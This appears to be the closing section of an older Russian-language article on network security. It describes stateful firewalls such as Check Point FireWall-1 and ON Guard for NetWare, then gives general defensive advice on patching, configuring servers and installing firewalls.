Брандмауэры экспертного уровня являются очень популярным решением для защиты узлов Internet и интрасетей, поскольку они "прозрачны" для пользователей, работают на самом высоком уровне модели OSI и не требуют внесения изменений в клиентское ПО и установления отдельных посредников для каждой защищаемой брандмауэром службы. Один из самых популярных коммерческих брандмауэров FireWall-1 компании Check Point Software Techno-logies является именно брандмауэром экспертного уровня. Этот продукт начал поставляться в 1993 г., и сейчас его доля на рынке брандмауэров составляет около 40%.

Другой ведущий брандмауэр экспертного уровня - ON Guard компании ON Technology. Разработанный специально для защиты сетей NetWare 3.11, 3.12 и 4.х, брандмауэр ON Guard работает на стандартных ПК с процессором Intel 486 и выше. Поскольку ON Guard может фильтровать как IP-, так и IPX-пакеты, его можно использовать и для защиты сети NetWare от IP-трафика, поступающего из Internet или интрасети, а также для защиты отдельных серверов NetWare от внутреннего "неавторизованного" IPX-трафика. Одной из сильных сторон продукта ON Guard является использование 32-битной операционной системы Secure32OS, специально разработанной компанией ON Technology для этого брандмауэра. Данная ОС является значительно более защищенной, чем универсальные ОС, такие как UNIX и Windows NT.

ON Guard, как и другие брандмауэры прикладного и экспертного уровней, обеспечивает хорошую защиту внутренней сети от хакерских нападений типа spoofing, беспорядочного сканирования IP-адресов и блокировки служб (denial-of-service). Нападения последнего типа заключаются в переполнении сервера запросами злоумышленника, что делает его недоступным для других пользователей.

Мой дом - моя крепость

Брандмауэры экспертного уровня обеспечивают один из самых высоких на сегодняшний день уровней защиты корпоративных сетей, и, по утверждению специалистов, обмануть их очень не просто. Тем не менее, не стоит забывать, что даже эти надежные брандмауэры не обеспечивают 100%-ной безопасности. Так стоит ли вообще устанавливать брандмауэр? Это нужно делать по той же причине, по которой вы устанавливаете замок на свою входную дверь, несмотря на то, что ни один замок не может гарантировать полной защиты. Оставив свою сеть без брандмауэра, вы просто оставляете дверь открытой. Так что "думайте сами, решайте сами...".

ВЫВОДЫ

Итак, существует множество аспектов информационной безопасности в Интернет. Один из них связан с тем, что с точки зрения безопасности представляет собой ваш Web-сервер. Установите безопасную ОС, затем тщательно сконфигурируйте и протестируйте сервер. Всегда помните, что вопрос ограничения доступа для изменения информации на сервере является ключевым.

Своевременно устраняйте "дыры", быстро устанавливая на них "заплаты". Для проверки корректности конфигурации используйте специальный инструментарий. Читайте материалы CERT, запишитесь в списки рассылки, посвященные вопросам безопасности, firewall-системам, в списки сетевого "андеграунда", ежедневно читайте новости Usenet - будьте поактивнее. Установите firewall-систему с proxy-серверами. Что касается клиентского ПО, то ограничьте ваших пользователей только Web-браузерами и электронной почтой.

Безопасность вашего Web-узла немыслима без высокого уровня образования пользователей и надлежащих инструментальных средств. Для проверки корректности конфигурации и определения уязвимых мест вашей сети имеется множество средств - используйте их.

Все это, разумеется, невозможно сделать в одиночку, даже не пытайтесь. Только после того, как ваше руководство по достоинству оценит затраты и выгоды от использования Интернет, вы сможете обеспечить по-настоящему безопасный доступ в эту глобальную сеть


Биография Библиотека Ссылки
Индивидуальное задание Фотогалерея Отчет о поиске